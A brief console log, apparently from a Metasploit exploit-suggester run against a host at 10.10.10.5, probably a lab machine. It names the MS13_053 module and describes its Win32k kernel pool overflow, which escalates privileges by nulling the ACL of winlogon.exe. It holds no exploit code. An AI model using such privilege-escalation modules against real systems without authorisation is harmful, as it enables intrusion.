[*] Running check method for exploit 41 / 41
[*] 10.10.10.5 - Valid modules for session 1:MS13_053
Description
This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation.
